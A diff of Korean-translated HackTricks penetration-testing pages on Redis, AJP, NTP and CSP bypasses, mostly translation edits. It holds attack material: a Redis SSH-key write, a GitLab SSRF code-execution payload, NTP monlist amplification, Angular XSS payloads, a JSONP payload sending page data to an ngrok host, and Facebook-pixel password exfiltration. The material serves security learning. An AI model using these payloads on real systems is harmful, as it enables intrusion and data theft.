**`config get dir`** 결과는 다른 수동 익스플로잇 명령어 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 ****을 찾을 수 있습니다 (보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh를 통해 접근할 수 있는 위치를 알 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 홈을 알고 있다면 이를 악용할 수도 있습니다:
1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: **`ssh-keygen -t rsa`**
2. 공개 키를 파일에 작성합니다: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
@ -260,7 +260,7 @@ The last example is for Ubuntu, for **Centos**, the above command should be: `re
### LUA sandbox bypass
[**여기**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)에서 Redis가 **EVAL** 명령을 사용하여 **Lua 코드를 샌드박스화하여 실행**하는 것을 볼 수 있습니다. 링크된 게시물에서 **dofile** 함수를 사용하여 **악용하는 방법**을 볼 수 있지만, [명백히](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 더 이상 가능하지 않은 것 같습니다. 어쨌든, **Lua** 샌드박스를 **우회**할 수 있다면 시스템에서 **임의의** 명령을 **실행**할 수 있습니다. 또한, 같은 게시물에서 **DoS를 유발할 수 있는 몇 가지 옵션**을 볼 수 있습니다.
[**여기**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)에서 Redis가 **Lua 코드 샌드박스**를 실행하기 위해 **EVAL** 명령을 사용하는 것을 볼 수 있습니다. 링크된 게시물에서 **dofile** 함수를 사용하여 **악용하는 방법**을 볼 수 있지만, [명백히](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 더 이상 가능하지 않은 것 같습니다. 어쨌든, **Lua** 샌드박스를 **우회**할 수 있다면 시스템에서 **임의의** 명령을 **실행**할 수 있습니다. 또한, 같은 게시물에서 **DoS를 유발할 수 있는 몇 가지 옵션**을 볼 수 있습니다.
**LUA에서 탈출하기 위한 CVE**:
@ -282,7 +282,7 @@ set mykey2 helloworld
```
## SSRF talking to Redis
만약 **Redis**에 **일반 텍스트** 요청을 보낼 수 있다면, **와 통신할 수** 있습니다. Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것입니다:
만약 **Redis**에 **일반 텍스트** 요청을 보낼 수 있다면, **Redis와 통신할 수** 있습니다. Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것입니다:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -298,7 +298,7 @@ set mykey2 helloworld
**Gitlab11.4.7**에서 **SSRF** 취약점과 **CRLF**가 발견되었습니다. **SSRF** 취약점은 새 프로젝트를 생성할 때 **URL에서 프로젝트 가져오기 기능**에 있었으며, \[0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 **CRLF** vuln은 **URL**에 **%0D%0A** 문자를 추가하여 악용되었습니다.
따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신**하고 **gitlab**의 **큐를 관리**하는 큐를 악용하여 **코드 실행을 얻는 것이 가능**했습니다. Redis 큐 악용 페이로드는:
따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신**하고 **gitlab**의 큐를 관리하는 큐를 악용하여 **코드 실행을 얻는 것이 가능**했습니다. Redis 큐 악용 페이로드는:
```
multi
sadd resque:gitlab:queues system_hook_push
@ -311,7 +311,7 @@ git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agit
```
_어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _의 저자에 따르면) `git` 스킴으로는 익스플로잇이 작동했지만 `http` 스킴으로는 작동하지 않았습니다._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -319,7 +319,7 @@ _어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.
**최신 공지사항**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -30,17 +30,17 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic Information
## 기본 정보
From: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP는 전송 프로토콜입니다. 독립형 웹 서버인 [Apache](http://httpd.apache.org/)가 Tomcat과 통신할 수 있도록 HTTP 프로토콜의 최적화된 버전입니다. 역사적으로 Apache는 정적 콘텐츠를 제공하는 데 Tomcat보다 훨씬 빠릅니다. 아이디어는 가능한 경우 Apache가 정적 콘텐츠를 제공하고, Tomcat 관련 콘텐츠에 대해서는 Tomcat에 요청을 프록시하는 것입니다.
> AJP는 전송 프로토콜입니다. 독립형 웹 서버인 [Apache](http://httpd.apache.org/)가 Tomcat과 통신할 수 있도록 HTTP 프로토콜의 최적화된 버전입니다. 역사적으로 Apache는 정적 콘텐츠를 제공하는 데 Tomcat보다 훨씬 빠릅니다. 아이디어는 가능한 경우 Apache가 정적 콘텐츠를 제공하고, Tomcat 관련 콘텐츠에 대해서는 요청을 Tomcat으로 프록시하는 것입니다.
Also interesting:
또한 흥미로운 점:
> ajp13 프로토콜은 패킷 지향입니다. 성능상의 이유로 더 읽기 쉬운 일반 텍스트보다 이진 형식이 선택된 것으로 보입니다. 웹 서버는 TCP 연결을 통해 서블릿 컨테이너와 통신합니다. 소켓 생성의 비용이 많이 드는 과정을 줄이기 위해 웹 서버는 서블릿 컨테이너에 대한 지속적인 TCP 연결을 유지하고, 여러 요청/응답 주기를 위해 연결을 재사용하려고 시도합니다.
> ajp13 프로토콜은 패킷 지향입니다. 성능상의 이유로 더 읽기 쉬운 일반 텍스트보다 이진 형식이 선택된 것으로 보입니다. 웹 서버는 TCP 연결을 통해 서블릿 컨테이너와 통신합니다. 소켓 생성의 비싼 프로세스를 줄이기 위해 웹 서버는 서블릿 컨테이너에 대한 지속적인 TCP 연결을 유지하고 여러 요청/응답 주기를 위해 연결을 재사용하려고 시도합니다.
**Default port:** 8009
**기본 포트:** 8009
```
PORT STATE SERVICE
8009/tcp open ajp13
@ -71,7 +71,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
* Nginx 소스 코드 다운로드
* 필요한 모듈 다운로드
* `ajp_module`과 함께 Nginx 소스 코드 컴파일.
* `ajp_module`과 함께 Nginx 소스 코드 컴파일
* AJP 포트를 가리키는 구성 파일 생성
```bash
# Download Nginx code
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -187,19 +187,19 @@ msf exploit(tomcat_mgr_deploy) > show options
**Latest Announcements**\
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하!
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하세요!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}

View file

@ -16,7 +16,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -71,9 +71,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**NTP DDoS 공격 작동 방식**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**NTP 프로토콜**은 UDP를 사용하여 TCP와 달리 핸드이크 절차 없이 작동할 수 있습니다. 이 특성은 **NTP DDoS 증폭 공격**에서 악용됩니다. 여기서 공격자는 가짜 소스 IP로 패킷을 생성하여 공격 요청이 피해자로부터 온 것처럼 보이게 합니다. 처음에는 작은 패킷이 NTP 서버에 의해 훨씬 더 큰 데이터 양으로 응답하게 하여 공격을 증폭시킵니다.
**NTP 프로토콜**은 UDP를 사용하여 TCP와 달리 핸드이크 절차 없이 작동할 수 있습니다. 이 특성은 **NTP DDoS 증폭 공격**에서 악용됩니다. 여기서 공격자는 가짜 출처 IP를 가진 패킷을 생성하여 공격 요청이 피해자로부터 오는 것처럼 보이게 합니다. 이러한 패킷은 처음에는 작지만, NTP 서버가 훨씬 더 큰 데이터 양으로 응답하도록 하여 공격을 증폭시킵니다.
_**MONLIST**_ 명령은 드물게 사용되지만 NTP 서비스에 연결된 마지막 600명의 클라이언트를 보고할 수 있습니다. 명령 자체는 간단하지만 이러한 공격에서의 오용은 중요한 보안 취약점을 강조합니다.
_**MONLIST**_ 명령은 드물게 사용되지만 NTP 서비스에 연결된 마지막 600명의 클라이언트를 보고할 수 있습니다. 명령 자체는 간단하지만, 이러한 공격에서의 오용은 중요한 보안 취약점을 강조합니다.
```bash
ntpdc -n -c monlist <IP>
```
@ -81,7 +81,7 @@ ntpdc -n -c monlist <IP>
* `ntp`
## HackTricks 자동 명령
## HackTricks 자동 명령
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
@ -123,8 +123,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
## What is CSP
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)**와 같은 공격으로부터 **보호하기 위해** 설계된 브라우저 기술로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
Content Security Policy (CSP)는 주로 **교차 사이트 스크립팅(XSS)**와 같은 공격으로부터 **보호하기 위한 브라우저 기술**로 인식됩니다. 이는 브라우저가 안전하게 리소스를 로드할 수 있는 경로와 출처를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스는 이미지, 프레임 및 JavaScript와 같은 다양한 요소를 포함합니다. 예를 들어, 정책은 동일한 도메인(자체)에서 리소스를 로드하고 실행하는 것을 허용할 수 있으며, 여기에는 인라인 리소스와 `eval`, `setTimeout`, 또는 `setInterval`과 같은 함수를 통한 문자열 코드 실행이 포함됩니다.
CSP의 구현은 **응답 헤더**를 통해 또는 **HTML 페이지에 메타 요소를 포함시킴으로써** 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.
@ -67,25 +67,25 @@ object-src 'none';
```
### Directives
* **script-src**: JavaScript에 대한 특정 출처를 허용합니다. 여기에는 URL, 인라인 스크립트 및 이벤트 핸들러 또는 XSLT 스타일시트에 의해 트리거된 스크립트가 포함됩니다.
* **script-src**: JavaScript에 대한 특정 소스를 허용하며, URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트에 의해 트리거된 스크립트를 포함합니다.
* **default-src**: 특정 가져오기 지시어가 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
* **child-src**: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
* **connect-src**: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
* **frame-src**: 프레임에 대한 URL을 제한합니다.
* **frame-ancestors**: 현재 페이지를 포함할 수 있는 출처를 지정합니다. 이는 `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
* **img-src**: 이미지에 대한 허용된 출처를 정의합니다.
* **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 출처를 지정합니다.
* **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 출처를 정의합니다.
* **media-src**: 미디어 객체를 로드하기 위한 허용된 출처를 정의합니다.
* **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 출처를 정의합니다.
* **frame-ancestors**: 현재 페이지를 포함할 수 있는 소스를 지정하며, `<frame>`, `<iframe>`, `<object>`, `<embed>`, `<applet>`와 같은 요소에 적용됩니다.
* **img-src**: 이미지에 대한 허용된 소스를 정의합니다.
* **font-src**: `@font-face`를 사용하여 로드된 글꼴에 대한 유효한 소스를 지정합니다.
* **manifest-src**: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
* **media-src**: 미디어 객체를 로드하기 위한 허용된 소스를 정의합니다.
* **object-src**: `<object>`, `<embed>`, `<applet>` 요소에 대한 허용된 소스를 정의합니다.
* **base-uri**: `<base>` 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
* **form-action**: 폼 제출을 위한 유효한 엔드포인트를 나열합니다.
* **plugin-types**: 페이지가 호출할 수 있는 MIME 유형을 제한합니다.
* **plugin-types**: 페이지에서 호출할 수 있는 mime 유형을 제한합니다.
* **upgrade-insecure-requests**: 브라우저에 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
* **sandbox**: `<iframe>`의 sandbox 속성과 유사한 제한을 적용합니다.
* **report-to**: 정책이 위반될 경우 보고서를 보낼 그룹을 지정합니다.
* **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.
* **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 출처를 지정합니다.
* **worker-src**: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
* **prefetch-src**: 가져오거나 미리 가져올 리소스에 대한 유효한 소스를 지정합니다.
* **navigate-to**: 문서가 어떤 수단으로든 탐색할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).
### Sources
@ -93,12 +93,12 @@ object-src 'none';
* `*`: `data:`, `blob:`, `filesystem:` 스킴을 제외한 모든 URL을 허용합니다.
* `'self'`: 동일한 도메인에서 로드를 허용합니다.
* `'data'`: 데이터 스킴을 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64 인코딩된 이미지).
* `'none'`: 어떤 출처에서도 로드를 차단합니다.
* `'none'`: 어떤 소스에서도 로드를 차단합니다.
* `'unsafe-eval'`: `eval()` 및 유사한 메서드의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
* `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
* `'unsafe-inline'`: 인라인 `<script>` 또는 `<style>`과 같은 인라인 리소스의 사용을 허용하지만 보안상의 이유로 권장되지 않습니다.
* `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
* JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 출처는 새로운 출처를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
* `'nonce'`: 암호화된 nonce(한 번 사용되는 숫자)를 사용하는 특정 인라인 스크립트에 대한 화이트리스트입니다.
* JS 실행이 제한된 경우, `doc.defaultView.top.document.querySelector("[nonce]")`를 사용하여 페이지 내에서 사용된 nonce를 가져오고, 이를 재사용하여 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용되는 경우, 허용된 소스는 새로운 소스를 로드할 수 있으므로 필요하지 않습니다), 예를 들어:
<details>
@ -122,7 +122,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
* `filesystem:`: 파일 시스템에서 리소스를 로드할 수 있습니다.
* `'report-sample'`: 위반 보고서에 위반 코드를 샘플로 포함합니다(디버깅에 유용).
* `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(안전한 출처만 안전한 출처에서 리소스를 로드할 수 있습니다).
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 할 때 전체 URL을 전송하지만, 요청이 교차 출처일 때는 출처만 전송합니다.
* `'strict-origin-when-cross-origin'`: 동일 출처 요청을 할 때 전체 URL을 전송하지만, 교차 출처 요청일 때는 출처만 전송합니다.
* `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션되는 리소스를 로드할 수 있습니다. 보안을 약화시키므로 권장하지 않습니다.
## 안전하지 않은 CSP 규칙
@ -153,7 +153,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
만약 당신이 어떤 방법으로 **허용된 JS 코드가 당신의 JS 코드로 새로운 스크립트 태그를 DOM에 생성하게 만들 수 있다면**, 허용된 스크립트가 그것을 생성하고 있기 때문에, **새로운 스크립트 태그는 실행될 수 있다**.
만약 당신이 어떤 방법으로 **허용된 JS 코드가 DOM에 새로운 스크립트 태그를 생성하게 할 수 있다면**, 허용된 스크립트가 그것을 생성하고 있기 때문에, **새로운 스크립트 태그는 실행될 수 있다**.
### Wildcard (\*)
```yaml
@ -188,9 +188,9 @@ If you can upload a JS file you can bypass this CSP:
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드 허용할 가능성이 높습니다**.
그러나 서버가 **업로드된 파일을 검증하고** 특정 유형의 파일만 **업로드하도록 허용할 가능성이 높습니다**.
게다가, 서버에서 허용하는 확장자를 사용하여 **파일 안에 JS 코드를 업로드할 수 있다 하더라도** (예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **Apache는** _**.wave**_ 확장자를 알지 못하므로 **audio/***와 같은 **MIME 유형으로 제공하지 않습니다**.
게다가, 서버에서 허용하는 확장자를 사용하여 **파일 안에 JS 코드를 업로드할 수 있다 하더라도** (예: _script.png_) 이는 충분하지 않습니다. 왜냐하면 아파치 서버와 같은 일부 서버는 **확장자에 따라 파일의 MIME 유형을 선택하고**, Chrome과 같은 브라우저는 **이미지여야 하는 것 안의 Javascript** 코드를 **실행하는 것을 거부하기 때문입니다**. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 **아파치가** _**.wave**_ 확장자를 알지 못하므로 **audio/***와 같은 **MIME 유형으로 제공하지 않는다는 것을 배웠습니다**.
여기서 XSS와 파일 업로드를 찾고, **잘못 해석된 확장자를** 찾으면, 해당 확장자와 스크립트 내용을 가진 파일을 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성할 수 있습니다 ([여기에서 일부 폴리글롯 예제](https://github.com/Polydet/polyglot-database)).
@ -201,12 +201,12 @@ JS를 주입할 수 없다면, 예를 들어 **폼 액션을 주입하여** 자
### Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
다음 페이로드 중 일부에 대해 **`unsafe-eval`은 필요하지 않습니다**.
다음 페이로드 중 일부에 대해 **`unsafe-eval`이 필요하지 않을 수도 있습니다**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
취약한 버전의 Angular를 로드하고 임의의 JS를 실행합니다:
취약한 버전의 angular를 로드하고 임의의 JS를 실행합니다:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -227,7 +227,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Angular + `window` 객체를 반환하는 함수가 있는 라이브러리를 사용하는 페이로드 ([이 게시물을 확인하세요](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular을 사용한 페이로드 + `window` 객체를 반환하는 함수가 있는 라이브러리 ([이 게시물 확인하기](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
이 게시물은 `cdn.cloudflare.com` (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **라이브러리**를 **로드**하고, 각 라이브러리에서 추가된 모든 함수를 실행하며, **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
@ -313,7 +313,7 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 가능한 JSONP 엔드포인트를 포함하고 있습니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **는 다양한 웹사이트의 CSP 우회를 위한 사용 준비가 완료된 JSONP 엔드포인트를 포함하고 있습니다.**
**신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있으면** 동일한 취약점이 발생합니다. 초기 엔드포인트가 신뢰할 수 있는 경우 리디렉션도 신뢰할 수 있습니다.
@ -348,7 +348,7 @@ Content-Security-Policy: connect-src www.facebook.com;
2. 새 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"으로 가서 "App ID"를 가져옵니다.
4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
5. 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
5. 당신의 앱 "Event Manager"로 가서 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "당신의" 웹사이트에서 전송되는 이벤트를 확인합니다.
그런 다음, 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키고 다음과 같은 사용자 정의 이벤트를 발행합니다:
@ -358,11 +358,11 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
다음 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서는 남용할 수 있는 다른 방법이 많이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
앞서 언급한 표에 명시된 다른 일곱 개의 서드파티 도메인에 대해서는 남용할 수 있는 여러 가지 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전의 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
